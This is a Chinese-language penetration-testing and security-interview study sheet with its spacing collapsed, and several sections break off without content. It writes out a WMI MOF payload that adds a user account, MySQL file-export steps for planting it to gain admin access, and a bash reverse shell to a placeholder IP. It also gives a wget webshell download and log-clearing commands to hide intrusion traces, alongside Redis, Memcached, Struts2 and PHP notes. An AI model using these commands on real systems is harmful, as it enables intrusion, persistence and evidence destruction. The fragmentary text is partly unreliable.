#pragmanamespace("\\\\.\\root\\subscription")instanceof__EventFilteras$EventFilter{EventNamespace="Root\\Cimv2";Name="filtP2";Query="Select*From__InstanceModificationEvent""WhereTargetInstanceIsa\"Win32_LocalTime\"""AndTargetInstance.Second=5";QueryLanguage="WQL";};instanceofActiveScriptEventConsumeras$Consumer{Name="consPCSV2";ScriptingEngine="JScript";ScriptText="varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuserwaitalonewaitalone.cn/add\")";};instanceof__FilterToConsumerBinding{Consumer=$Consumer;Filter=$EventFilter;};其中的第18行的命令,上传前请自己更改。 2、执行load_file及intodumpfile把文件导出到正确的位置即可。 selectloadfile('c:/wmpub/nullevt.mof')intodumpfile'c:/windows/system32/wbem/mof/nullevt.mov'执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。 十八、特殊漏洞 1、Struts2-045 产生原因 利用条件和方法 条件: a、redis服务以root账户运行b、redis无密码或弱密码进行认证c、redis监听在0.0.0.0公网上 方法: 修复 密码验证降权运行限制ip/修改端口 println"ifconfig-a".execute().text执行一些系统命令,利用wget下载webshell Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。 利用 b、telnet11211,或nc-vv11211,提示连接成功表示漏洞存在 漏洞加固 a、设置memchached只允许本地访问b、禁止外网访问Memcached11211端口c、编译时加上–enable-sasl,启用SASL认证 6、FFMPEG本地文件读取 通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。 十九、安全知识 1、WEB 常见WEB开发JAVA框架 STRUTS,SPRING常见的java框架漏洞其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045048,java常见反序列化。045错误处理引入了ognl表达式048封装action的过程中有一步调用getstackvalue递归获取ognl表达式反序列化操作对象,通过手段引入。apachecommon的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了 同源策略 同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。 Jsonp安全攻防技术,怎么写Jsonp的攻击页面 涉及到Jsonp的安全攻防内容 JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。 攻击页面 JSON劫持,跨域劫持敏感信息,页面类似于 2、PHP php中命令执行涉及到的函数 代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等 命令执行:system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open() DL函数,组件漏洞,环境变量。 ==在进行比较的时候,会先将字符串类型转化成相同,再比较 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行 0e开头的字符串等于0 mysql: /usr/local/mysql/data/ C:\ProgramData\MySQL\MySQLServer5.6\Data\ oracle:$ORACLE_BASE/oradata/$ORACLE_SID/ meterpreter:clearev web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除 e.g.sed-i-e‘/192.169.1.1/d’ history命令的清除,也是对~/.bash_history进行定向清除 wtmp日志的清除,/var/log/wtmp netstat-antp``ss-lss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 bash-i>&/dev/tcp/x.x.x.x/44440>&1通过Linux系统的/proc目录,能够获取到哪些信息,这些信息可以在安全上有哪些应用?ls/proc系统信息,硬件信息,内核版本,加载的模块,进程 /etc/ssh/sshd___configiptables配置 tail-n100filenameWindows如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。5、密码学AES/DES的具体工作步骤RSA算法加密:密文=明文^EmodN RSA加密是对明文的E次方后除以N后求余数的过程公钥=(E,N) 解密:明文=密文^DmodN私钥=(D,N) 三个参数n,e1,e2 n是两个大质数p,q的积 建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSLPinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。 (1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。 tcp面向连接,udp面向报文tcp对系统资源的要求多udp结构简单tcp保证数据完整性和顺序,udp不保证 a、客户端发送请求到服务器端b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端e、客户端使用共享密钥解密数据f、SSL加密建立 过滤ip: 过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1; 过滤端口: 过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80 协议过滤: 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。